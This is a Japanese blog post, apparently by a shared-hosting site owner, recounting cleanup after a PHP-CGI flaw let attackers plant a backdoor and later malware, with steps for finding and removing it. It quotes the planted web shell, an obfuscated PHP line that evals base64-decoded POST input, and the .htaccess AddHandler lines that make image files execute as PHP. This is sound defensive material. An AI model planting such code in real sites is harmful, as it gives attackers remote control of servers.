対象:
phpがcgi版で稼動しているレンタルサーバーでサイト運営している人
(共有サーバーの場合cgi版phpが多い)
このサイトにウィルスを仕込まれた後に行った事をまとめました。
phpの修正が出来ていても、バックドアが開いたままのサーバーは、結構沢山あるんじゃないかな・・・そこから更に攻撃受けたサイトも結構あるんじゃないかな?
すごく心配です。
以下で取った行動が正しいものか、これで万全と言えるかどうか自信が無いけれど、いまだに何も出来ていない人の参考になれば・・・と思い公開します。
「これじゃダメだ!」って箇所があったらツッコミお願いします。
参考リンク
・レンタルサーバー「heteml」 - サイト改ざんへの対策をお願いいたします
私のとった対策およびこのページの情報と全く異なるものですが、これもすごく参考に出来ます。
序文
今年5月~6月のcgi版phpの脆弱性問題、他人事ではありませんでした。
まずバックドアを仕掛けられ、2ヵ月後にそこからウイルス仕込まれました。
もう少しで攻撃サイトの仲間入りする所でした。。。
▲ファイル名がピリオドで始まる、こんな感じの怪しい画像ファイルがサイト内に存在している人は、今でもバックドアが開いている可能性大です。サーバーが大変危険な状態になっています。
私の敗因
5~6月の当時、私は- 「.htaccessが改ざんされた」という情報で、事態の本質を見失っていた。
- なので「自分が設置した .htaccessとその階層のみ」チェックを行っていた。
- あと、複数の階層に計7~8個のphp.cgiを設置していたので、その差替えと作動確認で一杯一杯になっていた。
- 自分が設置した以外のディレクトリに.htaccessを設置されるとか、任意のコードが実行され、他のファイル・ディレクトリが書き換えられる危険性があるとか、考えが及ばなかった。
やった事を簡単にまとめると、以下
詳細はこのページ後半にあります。まずはざっくりと。
サーバー上で行ったこと- ファイル検索をする
自分で.htaccess置いたルートだけ確認しても駄目。
以下で検索かける。
キーワード「.htaccess」
キーワード「.*png, .*gif, .*ico, .*jpg, index*php」
・・・今回の問題で作られるファイルが出てくる。
- 作った覚えのない.htaccessがあったら要注意。
- 検索で引っかかった怪しい画像ファイルは中身を確認。
問題アリと判断したら削除。 - バックドアが確認できた場合は、「*.exe, *.swf」などのキーワードでもサーバー内検索を行う必要アリ。
- 一部ディレクトリの全削除
クラックされたドメイン・ディレクトリがあった場合、そのディレクトリのファイルは全部削除またはローカルのバックアップと差し替えを行う。
ローカルで行ったこと
・・・共有サーバーにウイルスチェッカーをインストール出来なかったので、ローカルに全ファイルをダウンロードし、ウイルスチェックを行った
- ウイルスチェック
標的はWindowsである場合が多い。なのでWindowsマシンでウイルスチェックしても発見可能。(公開ディレクトリのファイルだけチェックなので不要な気もするけど、一応Linuxマシンでもウイルスチェックした。) - 全ファイルを日付順にソートして、怪しい期間のファイル削除
・・・2012年4月29日~php修正完了までのファイルは全削除
(今回のhtaccessとphp改ざんファイルはウイルス対策ソフトに反応しない)
- バックドアがあった場合は、さらに削除
バックドアから任意のコードを実行され、ファイルが書き換えられている可能性もある。ローカルにバックアップが取ってあったファイルは、全部差し替えする。
------------------ かんたんにまとめたメモ ここまで -----------------------
以下、その詳細な方法・手順メモ
サーバーの検索機能を使おう。
さくらやロリポップに限らず、WordPressに限らず、cgi版phpが作動するサーバーでサイト運営している人は、findコマンドを使って徹底的に探して見ましょう。
findコマンドがよく解らなかったら、WinSCPなどのフリーでGUI操作できるターミナルツールを使って調べてみましょう。解りやすい検索コマンドが付いています。
思いもよらない深い階層にバックドア仕掛けられています。
8月中旬に、バックドアからウイルス仕込まれていました('Α`)
危険なファイル探し方手順(WinSCPを使う場合)
まずはサーバー上で危険なファイルを探す手順
ダウンロード:WinSCP
▲クリックで拡大
WinSCPの検索コマンドは上記「コマンド」メニュー内にあります。
まずはサーバー内の.htaccessを全部検索して見ましょう。
▼WinSCPでファイル検索している所
▲クリックで拡大
サーバー内の.htaccessを検索しているところ。
変更した覚えの無いタイムスタンプがあったり、設置した覚えの無い.htaccessがあったら、中身を確認して見る。
AddHandler application/x-httpd-php .pngなどと、画像ファイルがphpで作動するよう書き換えられていたらアウト。
AddHandler application/x-httpd-php .gif
今年の5~6月頃にcgi版phpの脆弱性をついて侵入され、バックドア仕掛けられています。
次に、ファイル名がピリオドで始まる画像ファイルや、index.bak.phpてな名前の不審なファイルが無いか確認してみましょう。
「.*png, .*gif, .*ico, .*jpg,index*php」等で検索すると、今回問題になっているファイルを見つける事が可能です。
▲こんな感じで怪しいファイルが見つかりました。
<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>▲中身はこんな感じで、phpプログラムになっています。
これが何を意味するかは、「CGI版のPHPの脆弱性を突いてトラップを仕掛けた事例 - "improve it!"」に詳しく書かれています。
これ、攻撃者が任意のコードを実行できる環境が出来上がっています。
他のファイルやディレクトリを書き換えたり、作成したりも可能です。別のディレクトリにウイルスを仕込まれました。
ここで注意
php脆弱性の修正が入る前にバックドアを作られていたら、
phpの修正やアップデートを行っても、バックドアが開いたままになっています。
ここまで来たら、全てのファイル・全てのディレクトリを疑う必要が出てきます。
ウイルスを仕込まれてないか確認
サーバー内のファイルが書き換え/不審なファイルのアップロードを疑い、以下の行動を行います。- サーバーをrootから管理している場合は、ClamAVなどのウィルスチェッカーを使ってみましょう。
- 共有サーバーの場合は、サーバー管理者に相談してみましょう。
※(大抵の場合は「ご自身で対処して下さい」または「サーバーを初期化してください」という返答になります) - サーバー内を「*.exe, *.swf」などで検索して見ましょう。
ウイルス発見・・・orz
ファイル検索したところ、.exeファイル発見。しっかりウイルス貰っていました。Windowsに感染するトロイの木馬でした。
▲バックドア仕掛けられてから2ヵ月後に、こんなの仕込まれていました・・・・。
これらのファイルは、サーバー内の奥深い階層に設置されていて、SFTPソフトなどでざっくり目視確認した位じゃ気が付かない位置に設置してありました。
ということは- ユーザーが普通にサイト閲覧しても感染しない。
- しかし該当URLに直接リンクが貼ってある場合は別。
攻撃者は外部から直接そのURLに誘導するかもしれない。 - 攻撃者が再度侵入し、document rootの.htaccessを書き換え、問題のURLへリダイレクトするように設定を書き換えた場合は、通常のブラウジングでもウイルス感染が発生してしまう・・・。
結構やばい状態でしたorz
ウイルスは他にも存在しているかもしれない。チェック漏れがあったら非常に危険。
なんとか全ファイルウイルスチェックしなければ。
ファイルをローカルに移し、チェックする
共有サーバーで(root権限が無い場合)Clamavなどのウイルスチェッカーをインストールする方法が解らなかった。なので全ファイルを一旦ローカル(自分のPC)に移してウイルスチェックを行うしかない。と判断。
▲WinSCPで全ファイルをローカルにダウンロード。
※FTPソフトを使った方が高速。しかしWinSCPだとファイルのタイムスタンプもそのままダウンロードできる。
WinSCPなどタイムスタンプもそのままダウンロードできるツールを使った方が、その後の怪しいファイル探しが行いやすい。
ウイルスチェックを行う
大抵の場合Windowsを標的にしたウイルスが仕掛けられているはず。
またhtmlやphpならば、OS問わずウイルス対策ソフトがキチンと反応する。
なのでWindows上でウィルスチェックをすれば怪しいファイルは検出可能。な筈・・・(ちょい自信無し)。
▲Windows上でウイルスチェック
怪しいファイルは想像通り、Windows向けのウイルスでした。
ヒューステリック機能のあるウイルス対策ソフトの場合は、設定を高検出レベルにしてチェックしてみよう。
(念のためメモ・・・Windows上で駆除できたからと安心しない事。サーバー上のファイルは自分で駆除する)
念のためVMware上のCentOSにClamav入れて、そこでもウイルスチェック
▲ClamaVインストール中。
ここまで行う必要は無い気もするけど、一応やってみる。
ClamaVをインストールした後は
freshclam (ウイルスパターンの更新・これしないとスキャンできない)
cd /var/www (カレントディレクトリを公開ディレクトリに移動)
clamscan -r (カレントディレクトリ以下を全て検索する場合)
clamscan -r --infected (ウイルス情報のみ出力)これが便利
clamscan -r / (root以下全てのファイルを検索する場合)
▲結果は、1個だけの検出に留まった。
しかしこれ、Windowsマシンでは検出されなかったファイルです・・・!
Linux向けのウイルスも仕込まれていた模様。
同じ階層に設置してあるファイルだったので、検知されなくても削除対象にできるファイルなのは変わりないのですが、チェックしてみて良かったです。
ウイルス対策ソフト名 | 設定 | 検出数 |
ノートン | デフォルト | 3個 |
Avira | デフォルト | 4個 |
Avira | ヒューステリック最大 | 6個 |
Clamav | デフォルト | 1個(別物) |
・両方でウイルスチェックするのは、やっぱり大事。
・誤検出が多くなっても良いので、高レベルの検出設定にしてスキャンするのが良い。
ここで注意
上記ウイルスチェックでは、.htaccessや画像ファイルに仕掛けられたバックドアは検出不可能。発見可能なのはウィルスのみ。
なので、ローカルでももう一度ファイル検索を行う。(バックドアとして改ざんされたファイルを探す)
Everythingでファイル検索する
Everything解説ページ
Everythingは、Windows用の軽量・高速・高機能なファイル検索ツール。
日付順やディレクトリ順のソートがあっという間に出来るのが嬉しい。
▲検索窓に、ダウンロードしたフォルダを指定する。
あとは色々ソートして怪しいファイルを探しまくる。
- タイムスタンプでソートして、怪しい期間(5月初旬~phpの修正が入るまで)のファイルは念入りにチェック。心配ならば(サーバー側の該当ファイルを)全削除。
- 既にバックドアを仕込まれちゃった人は、それ以降のファイルにも怪しいモノが無いかチェック。
- ウチの環境の場合、8/15あたりに怪しいファイル(ウイルス)が仕込まれていた。
怪しいファイルが見つかったら、サーバー側の該当ファイルを即刻削除。
出来ればディレクトリごと、またはドメイン単位で丸ごと削除して、ローカルにあるバックアップファイルに差し替える。
結果
・・・・最初(一昨日)に発見したファイル以外、怪しいモノはありませんでした。
念のためバックドア放置していたディレクトリは、ドメイン丸ごと削除してファイル差替え。
以上。
行った手順は以上
既にどこのサーバーも、phpの修正は済んでいると思います。しかし仕掛けられたバックドアはユーザーの責任で削除しなければいけません。すごく沢山残っているんじゃないかと思います。。。似たような状況に陥っているサイトって結構あるんじゃないかな・・・心配です。
ちなみに
仕掛けられていたウイルスは以下Windows に感染するキーロガーとトロイです。
ハッキングされたURLにアクセスすると、
1. まずブラウザのjavaアプレットが書き換えられ
2. Java経由でウィルスファイルが自動的にダウンロード・実行される
という仕組みのもの。
いずれも危険度・感染度は低めで、古典的な手法。各種ウイルス対策ソフトでしっかり防御可能なモノです。
これ、「とりあえずWindowsマシンにバックドアを仕掛けておこう・・・」てな感じのウイルスでしょうか? こういうのに感染すると、しらないウチにPCがゾンビ化して、ある日いきなりDDosなんかに悪用されちゃう・・・なんて事になるんでしょうね('Α`)
あとがき
いやもう、ギリギリのギリギリ。大変な状況になっていました。
攻撃者に悪意が殆ど無かったか、クラックの練習台にされたのか、または「いつか使う予定の踏み台用意しておこう」程度の攻撃だったため、被害が出ずに済んだ感じです・・・。
今回はお騒がせしました。すみません。